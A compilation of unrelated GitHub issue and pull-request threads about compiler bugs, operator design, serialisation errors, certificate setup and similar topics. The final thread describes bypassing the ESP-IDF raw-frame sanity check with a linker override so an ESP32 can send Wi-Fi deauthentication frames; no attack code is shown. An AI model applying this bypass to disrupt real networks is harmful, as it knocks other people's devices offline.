Incorrect optimization with "and"/"or" conditional of unused result

(xxx) [centos@waffles xxx]$ rpm -q -i python36
Name        : python36
Version     : 3.6.6
Release     : 1.el7
Architecture: x86_64
Install Date: Sun 14 Oct 2018 06:21:20 PM UTC
Group       : Unspecified
Size        : 39630
License     : Python
Signature   : RSA/SHA256, Tue 14 Aug 2018 09:28:50 PM UTC, Key ID 6a2faea2352c64e5
Source RPM  : python36-3.6.6-1.el7.src.rpm
Build Date  : Mon 13 Aug 2018 07:14:16 PM UTC
Build Host  : buildvm-09.phx2.fedoraproject.org
Relocations : (not relocatable)
Packager    : Fedora Project
Vendor      : Fedora Project
URL         : https://www.python.org/
Bug URL     : https://bugz.fedoraproject.org/python36
Summary     : Interpreter of the Python programming language
(xxx) [centos@waffles xxx]$ pip show nuitka
Name: Nuitka
Version: <IP_ADDRESS>
Summary: Python compiler with full language support and CPython compatibility
Home-page: http://nuitka.net
Author: Kay Hayen
Author-email<EMAIL_ADDRESS>License: Apache License, Version 2.0
Location: /home/centos/xxx/lib/python3.6/site-packages
Requires:
Required-by:
(xxx) [centos@waffles xxx]$ cat nuitka_test_elision.py
FOO = True

FOO == True and print('FOO 1')

if FOO:
        print('FOO 2')

(xxx) [centos@waffles xxx]$ python36 nuitka_test_elision.py
FOO 1
FOO 2
(xxx) [centos@waffles xxx]$ python -m nuitka -o nuitka_test_elision nuitka_test_elision.py
(xxx) [centos@waffles xxx]$ ./nuitka_test_elision
FOO 2
(xxx) [centos@waffles xxx]$

You can call that one embarrassing for sure. This is from a recently added optimization where "a and b" with unused result is turned into "if a: b" statement. However, for "or" and "and", there should be a difference that was not respected. It was only correct for "or" statement.
A hotfix is coming soon.

So a fix is on the factory branch, I will let it run through CI before putting out a <IP_ADDRESS> with it.

Great! Thanks for the hard work.


docs: typos in options

Description

Fix typos in CLI options
Fix GitHub link in header

Type of change

[ ] 💥 Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] 🏗 Build configuration (CI configuration, scaffolding etc.)
[ ] 🐛 Bug fix (non-breaking change which fixes an issue)
[x] 📝 Documentation update(s)
[ ] 📦 Dependency update(s)
[ ] 👩🏽💻 Improve developer experience
[ ] ⚡ Improve performance
[ ] ✨ New feature (non-breaking change which adds functionality)
[ ] ♻ Refactor
[ ] ⏪ Revert changes
[ ] 🧪 New tests or updates to existing tests

:tada: This PR is included in version 1.1.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Getting C# reference to RegisterSingletonType instance

I am new to qt / qml and have started experimenting with using qml.net. So far it's been working really well. I have not been able to figure out how to get the reference to a singleton instance in my c# code. I have used the RegisterSingletonType method which works fine, and I can use the singleton instance in the qml code without issues.
However, I need to reference the same singleton instance from c# to update some data. Can someone please clarify how this can be done?
Thanks.

I'm not sure there is a way.
I guess you can update the ctor of your .NET type, to put this into a static variable that can be accessed elsewhere?

Thanks for the response. I managed to find a solution for this.


Revert "fixes TextInputFormatter gets wrong old value of a selection …

…(#75541)"
This reverts commit a46139a2cef8144444a3e13a3970e9a267304b91.
change cause internal test failure
Pre-launch Checklist

[ ] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[ ] I read the Tree Hygiene wiki page, which explains my responsibilities.
[ ] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[ ] I signed the CLA.
[ ] I listed at least one issue that this PR fixes in the description above.
[ ] I updated/added relevant documentation (doc comments with ///).
[ ] I added new tests to check the change I am making or feature I am adding, or Hixie said the PR is test-exempt.
[ ] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

@chunhtai FYI This will have conflicts with my PR https://github.com/flutter/flutter/pull/76327 if/when you un-revert it.  It's an easy fix though, let me know if you need help with the diff.


Dispatch changes in prefs enableAltTextModelDownload and enableGuessAltText to the viewer (bug 1912024)

The user can change a setting in a tab and it must have an effect in the current viewer.

It has been approved in https://github.com/mozilla/pdf.js/pull/18573, but I forgot to push my last changes before merging.


New string split operator.

Some rather arbitrary choices of convention: column to be split (there can be only one) is specified in operator constructor by name rather than by ordinal, column to be split is deleted from output schema, column containing split results is appended to output schema (with name "_splits" since I couldn't specify a null or empty string). Basic tests added, but more cases might be desirable.
Note that this is just a first pass; the final implementation will likely be something like an expression that is evaluated by a generic multi-row-output apply operator. Also multi-column splits are possible (where we would take cartesian product of all results).

Coverage increased (+0.27%) to 59.62% when pulling b8f2e9846dd7b713471636526a73874a27d60bb3 on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

Coverage increased (+0.34%) to 59.69% when pulling b8f2e9846dd7b713471636526a73874a27d60bb3 on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

Coverage increased (+0.36%) to 59.71% when pulling 801bea5de0b70dcf28b80c3464cacd45560ceca5 on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

I now doubt that I made the right decision in deleting the column being split from the input schema and appending it to the output schema instead. At the least, I think it violates the Principle of Least Surprise (and doesn't seem to be how Hive does it with LATERAL VIEW). It also complicates the code considerably for a probably negative usability impact. So I'd propose that I implement the obvious approach of placing the column to be split and the column with split results in the same ordinal position. What do you think?

Coverage increased (+0.27%) to 59.61% when pulling c2dd4f6ad506dd3bc44f9c89b03c749d257a0afb on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

Feel free to keep the original column; if you do this then you should probably put the splits at the end. Then you can simply copy the entire row on its own with no index trickery.

It would be good to have a test where a single column splits into many values, say, 2*TupleBatch.BATCH_SIZE+1. (I actually think that such a test may have broken your old code before you picked up TupleBatchBuffer.)

Also, and I'll add this to the getting started instructions, just read through Google's Java style guide once.
https://google-styleguide.googlecode.com/svn/trunk/javaguide.html

FYI, I found an Eclipse format config for the Google style guide here: https://code.google.com/p/google-styleguide/source/browse/trunk/eclipse-java-google-style.xml

Now I'm wondering if I need to check for child.eos() (and possibly child.eoi() as well, I'm unclear on the semantics) in the while-loop condition in fetchNextReady(). If so, is it possible for the child to return null from nextReady() on one call but non-null on a subsequent call (assuming eos() isn't true)? If so, then I shouldn't be breaking out of the loop on null.

Coverage increased (+0.1%) to 59.44% when pulling 3042d129fd9bbc2832016bc39c9dc2de2b077b46 on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

edu.washington.escience.myria.systemtest.JsonQuerySubmitTest.ingestTest is failing for reasons unrelated to this PR

returning null from fetchNextReady means that there can be no output produced right now. If there is new data available later (e.g., it comes in from the network) then yes you can definitely return null then return non-null later. I'll add another note to #723

So the while loop calling child.nextReady() should just check for child.eos() and not child.eoi()?

I don't think the while loop should care about what state the child is in. If the child has reached one of these eos/eoi states, it will return null. When it returns null, your code will do the right thing. Won't it?

OK, so you're saying that if one of my consumers wants to know if I will ever return any more data, they can just call eos() on me, and that will return the child's value of eos()? So I shouldn't need to care whether my child will ever return more data, as long as my consumer can find that out for themselves? (If the child returns null, I will either return null or whatever is in the current TupleBatch.)

As I suggested before, please read through Operator to see how eos and eoi are triggered.
Can I rephrase your last sentence as follows?

If the child returns null, I will return whatever is in the current TupleBatchBuffer (including null if it is empty).

Also, please read through random other operators to see how they're implemented. Stay away from complex things like joins, consumers, and anything related to EOS or IDB for now...
maybe look at Filter, Apply, Counter, CrossWithSingleton?

Yes, your paraphrase is clearer than my original sentence.
My understanding is that an operator returns EOS if all of its children return EOS, and EOI if any of its children return EOI. Also a child's EOI state is reset whenever it is read, but I still don't understand why (I need an intuitive explanation of what these states mean)...
I am probably getting confused from reading more complicated operators like Merge...

yeah... and even in Merge, it's only worrying about EOS as a way of streamlining which children it looks at. (Children that will never produce any more data never need to be looked at again ;). It's not actually doing anything with the EOS semantics.

Coverage increased (+0.09%) to 59.44% when pulling c3ff69ee5411fd45e13b666283ed223cdb8dcf2d on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

So the next thing to do when adding a new operator is make sure that it has a tested JSON encoding.
 Instead, we add a very small Java class extending OperatorEncoding that explicitly defines the (optional and @Required) fields for the encoding and constructs the operator after the entire plan is deserialized. Take a look at:

https://github.com/uwescience/myria/blob/master/src/edu/washington/escience/myria/api/encoding/FilterEncoding.java
and notice https://github.com/uwescience/myria/blob/212a7e3f6559bda759493775fe0000712165ce89/src/edu/washington/escience/myria/api/encoding/OperatorEncoding.java#L36

After implementing the analogous encoding for Split, add a test to ensure that it can be serialized and deserialized and submitted to a query. Currently we're doing this as such: https://github.com/uwescience/myria/blob/master/systemtest/edu/washington/escience/myria/systemtest/JsonOperatorTests.java and sadly, most operators are not tested here, though many of the key operators are tested in the JsonQuerySubmitTests instead.

Coverage increased (+0.02%) to 59.36% when pulling 64ec4a796fafeae6771459fff979052958e7e075 on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

Coverage increased (+0.02%) to 59.36% when pulling 64ec4a796fafeae6771459fff979052958e7e075 on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

For the JSON encoding test, it seems I need a JSON-serializable leaf operator which yields my test data. TupleSource looks like what I want, but there's no encoding class for it, and I don't see any encoding-compatible class which appears to do anything similar (or is capable of serializing any test data in a JSON query). What's the right approach?

The usual thing is to ingest some data before the query, and use TableScan

I used FileScan instead to avoid ingesting data.

Why not a ByteSource, e.g.?
Hmmmm... Heck, if you use that you don't even need to make it a system test – you ought to be able to test that serializing and deserializing works without starting up the server.

Well, I have a lot more confidence in integration tests than in unit tests, although you have to decide what's worth testing at the system level.

fine w me...

Daniel Halperin
Director of Research for Scalable Data Analytics
eScience Institute
University of Washington
On Fri, Mar 20, 2015 at 1:07 PM, senderista<EMAIL_ADDRESS>wrote:

Well, I have a lot more confidence in integration tests than in unit
tests, although you have to decide what's worth testing at the system level.
—
Reply to this email directly or view it on GitHub
https://github.com/uwescience/myria/pull/722#issuecomment-84131526.

Coverage increased (+0.02%) to 59.37% when pulling c5dcfef91a67550dcec0f2e93fa9c440689cb6fd on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

There seem to be some wonky style issues with this PR. E.g., I get 4 new Checkstyle warnings relating to missing spaces, and every time I save a file it reformats the whole thing.
You must not be using the eclipse configuration that is checked into the repository?
If you wish to reformat the files and apply new settings, please:

Do it in a separate branch that has no functional changes, and reformat ALL source files in the repository.
Make sure that anyone who clones the repository (or pulls from master) and edits a file will automatically use the same style settings.

But in general, I don't understand why you decided to deviate from the checked-in code style.
For fun: http://thecodelesscode.com/case/94?topic=refactoring  (omg this is my favorite weekly blog there is)

The basic principle is that, when code reviewing, I should be able to tell what are functional and what are stylistic changes; right now there's a large fraction of the diff that's pure style.
Ideally the purely stylistic changes would be encapsulated so that they "don't need" review.

Agree 100% on convention, I had installed the Google Java style guide's official Eclipse formatter, which seems to differ from the one checked in, and didn't pay attention to the reformatting noise in the diffs. My bad--I'll revert the formatting changes and use the checked-in formatter. Was the currently checked-in formatter originally derived from the Google style guide, or from your/others' preferences?

I have a vague impression that it might have been one claimed to be derived from the Google guide, but I think Google didn't have an official one online at the time. Or something like that – no idea really. It could also have been Eclipse's default mildly tweaked.

I would say that in at least one concrete case I prefer the Google guide's formatting: in /myria/src/edu/washington/escience/myria/api/encoding/OperatorEncoding.java we have multiple annotations on the same line, which I find quite confusing given that they're deliberately sorted to be easier to vertically scan. Do you have anything against standardizing on the Google guide's formatter and checking in a wholesale reformatting change (in a separate branch/PR of course)?

Link?

E.g., see https://github.com/uwescience/myria/blob/3cdede0153abfd2ae6c704d7ec4995c8cf4e626a/src/edu/washington/escience/myria/api/encoding/OperatorEncoding.java#L45

oh yeah that annoys the heck out of me, too. I distinctly remember looking for that style change, and failing.

I've reverted the formatting changes but will be squashing all these commits onto a new branch (since I mistakenly recycled an old one), and will submit a new PR, so you don't have to deal with the noise.

don't bother – I mainly use the diff view anyway

https://github.com/uwescience/myria/pull/722/files

OK, I did just push a single squashed commit on the new branch split_operator if you care :)

Coverage increased (+0.04%) to 59.39% when pulling a12a54dfde73e6648fd1ad88a2b65c43989ca9a6 on mod_op into 0f9675260444e91caf8826f857f8657021ce472b on master.

OK to merge?

Cool stuff!

Fixes #706 (partially).


this.$__path is not a function error when using with Mongoose

Whenever I try to use fast-safe-stringify with a Mongoose Object, I get the error "this.$__path is not a function". I tried investigating exactly what is it in mongoose documents that cause this but couldn't find anything.
JSON.stringify() works with mongoose objects just fine.
I'm using the newest version of both packages:
fast-safe-stringify: 2.0.6,
mongoose: 8.6.8,
node: 10.16.1

can you please add a full stack trace?

at String.Document.get (/app-root-folder/node_modules/mongoose/lib/document.js:1348:23)
at model.get [as _id] (/app-root-folder/node_modules/mongoose/lib/helpers/document/compile.js:145:32)
at model.idGetter (/app-root-folder/node_modules/mongoose/lib/plugins/idGetter.js:23:12)
at VirtualType.applyGetters (/app-root-folder/node_modules/mongoose/lib/virtualtype.js:137:25)
at model.Document.get (/app-root-folder/node_modules/mongoose/lib/document.js:1356:19)
at applyGetters (/app-root-folder/node_modules/mongoose/lib/document.js:2986:22)
at model.Document.$toObject (/app-root-folder/node_modules/mongoose/lib/document.js:2750:5)
at model.Document.toJSON (/app-root-folder/node_modules/mongoose/lib/document.js:3061:15)
at JSON.stringify (<anonymous>)
at stringify (/app-root-folder/node_modules/fast-safe-stringify/index.js:11:18)
at NativeConnection.db.once (/app-root-folder/test.js:36:17)
at process._tickCallback (internal/process/next_tick.js:68:7)

I realize now this doesn't happen with just ANY mongoose document, I'll try to narrow down what the culprits could be.

Ok, I was able to figure out how to reproduce the issue.
It only happens when there are nested objects in the schema AND option toJSON.virtuals is set to true
Here's the code:
const mongoose = require('mongoose');
const db = mongoose.connection;
const SafeStringify = require('fast-safe-stringify');

mongoose.connect('mongodb://localhost:27017/local');

const schema = new mongoose.Schema(
  {
    key: {
      nestedKey: String,
    },
  },
  {
    toJSON: {
      virtuals: true,
    },
  }
);

const M = mongoose.model('M', schema);

db.once('open', async () => {
  try {
    const doc = new M();
    console.log('Works before saving document', SafeStringify(doc));
    await doc.save();
    console.log('Works using stableStringify', SafeStringify.stableStringify(doc));
    console.log('This will throw an error', SafeStringify(doc));
  } catch (err) {
    console.error(err);
  }
  db.close();
});

And here are the logs:
TypeError: this.$__path is not a function
    at String.Document.get (/app-root-folder/node_modules/mongoose/lib/document.js:1349:21)
    at model.get [as _id] (/app-root-folder/node_modules/mongoose/lib/helpers/document/compile.js:145:32)
    at model.idGetter (/app-root-folder/node_modules/mongoose/lib/plugins/idGetter.js:23:12)
    at VirtualType.applyGetters (/app-root-folder/node_modules/mongoose/lib/virtualtype.js:137:25)
    at model.Document.get (/app-root-folder/node_modules/mongoose/lib/document.js:1366:19)
    at applyGetters (/app-root-folder/node_modules/mongoose/lib/document.js:3012:22)
    at model.Document.$toObject (/app-root-folder/node_modules/mongoose/lib/document.js:2776:5)
    at model.Document.toJSON (/app-root-folder/node_modules/mongoose/lib/document.js:3087:15)
    at JSON.stringify (<anonymous>)
    at stringify (/app-root-folder/node_modules/fast-safe-stringify/index.js:11:18)
    at NativeConnection.db.once (/app-root-folder/test.js:28:45)
    at process._tickCallback (internal/process/next_tick.js:68:7)

It's funny though, if we also set option toJSON.id to false, error doesn't happen.
const schema = new mongoose.Schema(
  {
    key: {
      nestedKey: String,
    },
  },
  {
    toJSON: {
      virtuals: true,
    },
    id: false,
  }
);

const M = mongoose.model('M', schema);

db.once('open', async () => {
  try {
    const doc = new M();
    await doc.save();
    console.log('This will now work!', SafeStringify(doc));
  } catch (err) {
    console.error(err);
  }
  db.close();
});

So, the problem seems to be when mongoose tries to get the "id" virtual of a subdocument. Declaring this schema, which is equivalent to the one above, will also work as it will make the subdocument NOT have an _id field (and, consequently, not an "id" virtual).
Sorry, should I be bringing this issue to mongoose instead? It seems to be very specific.
const schema = new mongoose.Schema(
  {
    key: {
      type: {
        nestedKey: String,
      },
      _id: false,
    },
  },
  {
    toJSON: {
      virtuals: true,
    },
  }
);

It seems the decycling breaks the mongoose toJSON function. It could be that the function was replaced in case it's cyclic.
But that should not break mongoose, since JSON.stringify works for you on the very same object. It's an interesting edge case that should be fixed here.
@filetvignon would you be so kind and check if https://github.com/BridgeAR/safe-stable-stringify works for you? I guess that might work as the decycling works different.

Hey @BridgeAR, I have checked it and it does work! =]
I'm just a little apprehensive in using it as it's said here to be experimental and all, but I'm willing to make the switch.

@filetvignon great!
It is out there for quite some time and it should be very stable. I would actually call it safer to use since it has less special handling than this implementation.

Do we have any update on this ? Other than using a fork

I think this would need a a volunteer to write a PR to fix it - we are not mongoose users, and it's not really a priority for us atm.


Uptime / status page not working

Uptime URL linked in the readme is not working and is not redirecting or set as an alias to https://simple-login.github.io/uptime/
The old URL that was used with the previous uptime monitoring service is not working https://status.simplelogin.io/.
It returns an SSL error code: SSL_ERROR_NO_CYPHER_OVERLAP.
I think that URL should also redirect to https://simple-login.github.io/uptime/ since it's where users would expect to find uptime info.
Tested on Firefox 89.0

@ajdor this is indeed a bug! We have fixed it by removing uptimerobot from the README.


chore: add util to map datastore schema to generic

Description of changes:
Codegen will use GenericDataSchema to interface with customer data models when mapping forms.
This PR

adds the GenericDataSchema to types
adds a util that maps DataStore Schema to GenericDataSchema

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Codecov Report

Merging #498 (e79823e) into tagged-release/forms-and-views (f54c226) will increase coverage by 0.21%.
The diff coverage is 98.18%.

@@                        Coverage Diff                         @@
##           tagged-release/forms-and-views     #498      +/-   ##
==================================================================
+ Coverage                           88.65%   88.87%   +0.21%
==================================================================
  Files                                  66       66
  Lines                                2301     2354      +53
  Branches                              608      625      +17
==================================================================
+ Hits                                 2040     2092      +52
- Misses                                257      258       +1
  Partials                                4        4

Impacted Files
Coverage Δ

...generate-form-definition/helpers/field-type-map.ts
100.00% <ø> (ø)

packages/codegen-ui/lib/generic-from-datastore.ts
98.14% <98.14%> (ø)

.../lib/generate-form-definition/form-to-component.ts
81.48% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f54c226...e79823e. Read the comment docs.


Typescript: auto-complete type signature when overriding a superclass method

Suggestion
In vscode v1.26.1, overriding a method doesn't have auto-completion for the type signature. Only the method name is auto-completed. Auto-completion of the type signature should be possible, and maybe the cursor would be moved into the body of the method.
Use Cases
Less typing.
Search Terms

typescript autocomplete method override
superclass method type signature autofill

Duplicate of #46038 / https://github.com/Microsoft/TypeScript/issues/25207


priceToFloat error value when changed centsSeparator and thousandsSeparator

$("#amount").priceFormat({
	prefix: "R$ ",
	centsSeparator: ",",
	thousandsSeparator: "."
});

alert($('#amount').priceToFloat() );

using this code priceToFloat() return a wrong value.
Thanks!

Hi,
I write external method in js file:
` $.fn.customizePriceToFloat = function() {
if ($(this).is('input'))
  field = $(this).val() || [];
else
  field = $(this).html();

field = field.replace(/([^,\d])/g,'');//All dot clean
field = field.replace(/\,(?=[^.]*$)/, ".");//last comma convert to dot
return parseFloat(field);//convert

};`

I also had problem with this function (in Firefox). The solution I found was to reset the function to:
$ ('#value'). PriceFormat ({
     Prefix: '',
     CentsSeparator: '.',
     ThousandsSeparator: ''
});

That way it's like float.


Add developer documentation in README.md

Characteristics

Issue Type: feature
Severity: feature
Tool/Service/Component: botsing

Description
Add developer documentation in README.md.
Steps to reproduce
Other files and URLs
Relationships
Help on issue template
Preview to follow the link or open file .github/ISSUE_DOC.md

It should be nice to have these things in the README:

description of the project and modules
how to install and run it with prerequisites
how to compile and package it with prerequisites
a tutorial or an example, maybe this could be in some other page and have here only a link to it
link to the stamp site
authors
license note

You can take a look at what they have done in DSPOT README or also in this REAME template example.

Duplicate with #15


java.util.concurrent.CompletionException: java.lang.NullPointerException on ConfidentialClientApplication.acquireToken(ClientCredentialParameters)

I create a sample application based on ms-identity-java-daemon.
	private static IAuthenticationResult getAccessTokenByClientCredentialGrant() throws Exception {

		ConfidentialClientApplication app = ConfidentialClientApplication.builder(
				CONFIDENTIAL_CLIENT_ID,
				ClientCredentialFactory.createFromSecret(CONFIDENTIAL_CLIENT_SECRET))
				.authority(TENANT_SPECIFIC_AUTHORITY)
				.build();

		// With client credentials flows the scope is ALWAYS of the shape "resource/.default", as the
		// application permissions need to be set statically (in the portal), and then granted by a tenant administrator
		ClientCredentialParameters clientCredentialParam = ClientCredentialParameters.builder(
				Collections.singleton(GRAPH_DEFAULT_SCOPE))
				.build();

		CompletableFuture<IAuthenticationResult> future = app.acquireToken(clientCredentialParam);
		return future.get();
	}

Running as a desktop app, future gets a result of com.microsoft.aad.msal4j.AuthenticationResult with an accessToken.
When I copy the code to an HttpServlet class running on WebSphere, the result of future is java.util.concurrent.CompletionException: java.lang.NullPointerException.
[6/25/20 11:40:31:554 EDT] 000000c2 SystemErr     R java.util.concurrent.CompletionException: java.lang.NullPointerException
[6/25/20 11:40:31:555 EDT] 000000c2 SystemErr     R 	at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:284)
[6/25/20 11:40:31:555 EDT] 000000c2 SystemErr     R 	at java.util.concurrent.CompletableFuture.completeThrowable(CompletableFuture.java:291)
[6/25/20 11:40:31:556 EDT] 000000c2 SystemErr     R 	at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1617)
[6/25/20 11:40:31:556 EDT] 000000c2 SystemErr     R 	at java.lang.Thread.run(Thread.java:820)
[6/25/20 11:40:31:556 EDT] 000000c2 SystemErr     R Caused by: java.lang.NullPointerException
[6/25/20 11:40:31:557 EDT] 000000c2 SystemErr     R 	at com.microsoft.aad.msal4j.AuthenticationResultSupplier.logException(AuthenticationResultSupplier.java:139)
[6/25/20 11:40:31:557 EDT] 000000c2 SystemErr     R 	at com.microsoft.aad.msal4j.AuthenticationResultSupplier.get(AuthenticationResultSupplier.java:88)
[6/25/20 11:40:31:559 EDT] 000000c2 SystemErr     R 	at com.microsoft.aad.msal4j.AuthenticationResultSupplier.get(AuthenticationResultSupplier.java:17)
[6/25/20 11:40:31:559 EDT] 000000c2 SystemErr     R 	at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1615)
[6/25/20 11:40:31:560 EDT] 000000c2 SystemErr     R 	... 1 more

Edit:
I did a more thorough trace and found the problem. Looks like I need to add a certificate to the server key store.
com.microsoft.aad.msal4j.MsalClientException: javax.net.ssl.SSLHandshakeException: com.ibm.jsse2.util.h: PKIX path building failed: com.ibm.security.cert.IBMCertPathBuilderException: unable to find valid certification path to requested target
I retrieved the certificate from graph.microsoft.com:443  and the error went away.

What was your solution to this issue @rotj ? I'm getting a similar "javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target"

In Websphere Admin Console, I went to Security > SSL certificate and key management > Key stores and certificates > NodeDefaultTrustStore > Signer certificates > Retrieve from port and retrieved the certificate from graph.microsoft.com port 443. I also retrieved the certificate from login.microsoftonline.com to be safe.
If you use a different webserver, the process for adding a certificate will be different.


Execution failed for task ':app:installDebug'.

com.android.builder.testing.api.DeviceException: com.android.ddmlib.InstallException: Failed to install all

Is this happening on 0.43.0 version? Because I have the same problem.

Hey, thanks for reporting this issue!
It looks like your description is missing some necessary information. Can you please add all the details specified in the template? This is necessary for people to be able to understand and reproduce the issue being reported.
I am going to close this, but feel free to open a new issue with the additional information provided. Thanks!

I am also experiencing this issue. :(

hey,my experiencing this similar issue;

building 97%> :app:installDebug

Any solution?

@Tom29 try this, find something like "installation sources" in your device setting, then allow the option "Unknown Sources".
( my english sucks , hope you know what i mean : )

adb devices
List of devices attached
yourDeviceId	device
react-native run-android --deviceId yourDeviceId


Support for SupportMapFragment?

I know that it is possible with delegation, but I would prefer if there was a native support.
It was planned?
Thanks

No, there will be no "native" support for that, sorry. You have to go with delegation.
The reason is the same as discussed in  #63 . So all third party libraries will be removed in Mosby 2.0 which, btw. will be released this or next week.


Machine Learning service workspace - resource no longer exists

Doc is out of date with the current resources available. What is the equivalent now?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 3e6d62cb-c3fc-40b9-ba2e-edab34bb319f
Version Independent ID: 8ff5349a-0f46-10e9-a9b0-d0e75bdffacc
Content: Create Azure ML workspaces in the portal - Azure Machine Learning
Content Source: articles/machine-learning/service/how-to-manage-workspace.md
Service: machine-learning
Sub-service: core
GitHub Login: @shivp950
Microsoft Alias: shipatel

When I search for: "Machine Learning service workspaces" - it just returns "Machine Learning". Has this been renamed to just Machine Learning? When I click on 'All Services', I see it listed as "Machine Learning service workspaces". Confusing.

@VedAustin Thanks for pointing this out. I have assigned the issue to the doc author for updating the document accordingly.

@shivp950 Can you please look into this and update the document as applicable.

@shivp950 Hi, do you have any update for this issue? Thanks.

Hi, yes I will update the screenshots accordingly, sorry for the confusion. Machine learning service workspace is the same thing as Machine Learning, it was re-named in the portal.


Use react-mapbox-gl with react: 18.2.0

Is there a way to add react-mapbox-gl in a react:18.2.0 project?
I get a peer dependency error when trying adding it.
npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR! Found<EMAIL_ADDRESS>npm ERR! node_modules/mapbox-gl
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm ERR! node_modules/react-mapbox-gl
npm ERR!   react-mapbox-gl@"*" from the root project

Ran into the same issue. Looking at it this package hasn't been contributed to in 4 years. I don't think it's maintained any longer. Probably time to migrate away

indeed lets move on


Add Text Node

The API
Not sure, if this can be called a shape though.
I'm not completelty sure what would be the right API for this.
t = Text(text="Hello")
t = Text(value="Hello")
t = Text(contents="Hello")

The first one is confusing because the word text is appearing multiple times. I'm not sure either value or contents is the right word.
Reference
https://developer.mozilla.org/en-US/docs/Web/SVG/Element/text

@amitkaps what do you think?

Text is a responsive shape - normally implemented within a rectangle frame element - where the size is determined by character length, font & font specs like line height and wrapping & alignment modifier.
I would treat the content as default first param and then all other modifier as keywords args.
'''
t = Text("hello world")
t1 = Text("hello", start=Point(100, 100))
'''

How about this API for text?
t = text("hello", x=100, y=100)
show(t)

How to specify the size of the text?

How to specify the size of the text?

How about this way?
t = text("hello", x=100, y=100, font_size=24)

Its good thankyou
On Wed, 14 Jul, 2021, 9:06 PM Anand Chitipothu, @.***>
wrote:

How to specify the size of the text?
How about this way?
t = text("hello", x=100, y=100, font_size=24)
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/fossunited/joy/issues/6#issuecomment-879996070, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AU27MMZOV47JYW3EHFKPSQLTXWVF7ANCNFSM46JA55OA
.

A text node feels essential, so I gave this a quick go. It turns out that with the current coordinate system of joy this is rather difficult because the flip transformation of the y axis flips any text as well. This seems to be a rather inherent property of SVG: https://stackoverflow.com/questions/3846015/flip-svg-coordinate-system
This is easy to workaround though if you have full control over the generated SVG and then alloows to add a basic text node: https://github.com/fossunited/joy/pull/37

I did not understand the text can you explain it once again
On Sat, 15 Jan 2022 at 03:06, asteppke @.***> wrote:

A text node feels essential, so I gave this a quick go. It turns out that
with the current coordinate system of joy this is rather difficult
because the flip transformation of the y axis flips any text as well. This
seems to be a rather inherent property of SVG:
https://stackoverflow.com/questions/3846015/flip-svg-coordinate-system
This is easy to workaround though if you have full control over the
generated SVG and then alloows to add a basic text node: #37
https://github.com/fossunited/joy/pull/37
—
Reply to this email directly, view it on GitHub
https://github.com/fossunited/joy/issues/6#issuecomment-1013489732, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AU27MM32CSWXYMMMDBGXSB3UWCJMBANCNFSM46JA55OA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
You are receiving this because you commented.Message ID:
@.***>


Image block settings to align centre/right

Image block: option to allow centring (an oft-requested feature in the c5 forum) and right alignment.
The default is not to centre, to retain the same behaviour as currently. (However, centring by default makes some sense.)
This request supersedes https://github.com/concrete5/concrete5/pull/5668. My thanks to MrKarlDilkington for his guidance there.

I think better you do this with custom styles. Because you point about front-end.
Except, if you want to specify crop area.

I agree that people certainly want to center images...but we don't really put presentational logic like this at the block level very often. I tend to agree with @goesredy that this kind of thing should be handle by CSS and a custom class – or a custom template on image? Or an image in a content block?


Is it possible to use the wsl bypass with platformio?

I would like to build a similar project which will require the installation of ESP-IDF v4.1 and the use of the wsl bypass method shown in this repo?
Do you know if it is possible to accomplish this using Platformio? I have doing quite a bit of research and going down quite a few rabbit holes but have found no solution.

I'm not familiar with platformio unfortunately. I think one possibility is to precompile wsl_bypasser from this repo and then link it while compiling using Platformio - e.g. like described here.
Second option is to use same flag for linker like it's done in this repo in cmakefile as it seems doable based on this documentaion

@risinek So I managed to get the ESP-IDF framework working in Platformio using Arduino as Component.
I am not familiar with the process for installing the esp-idf in Platformio, but I managed to get the Platformio version of the ESP-IDF here. The version I installed however translates to version 4.2 of the ESP-IDF. I could not find one for 4.1...so this might be contributing to the problem. Not sure.
I wrote a small demo code that initializes wifi, transmits 10 deauth frames, sleeps for 10 seconds, then reboots (See code below).
I run the code on my ESP32 but wireshark does not show any deauths being sent. I verified my wsl bypass is being called instead of the original by placing a printf in the method to show it is being called. I also verified my -zmuldefs flag in my cmakelist is set properly by removing it, building, and seeing it fail with an error that there are multiple definitions of the sanity check function. I set the flag again then it built properly.
I just want to verify my source code so I can eliminate it as a possibility for this demo not working. I suspect if it is not an issue with my source then it is an issue with the version of the ESP-IDF I installed.
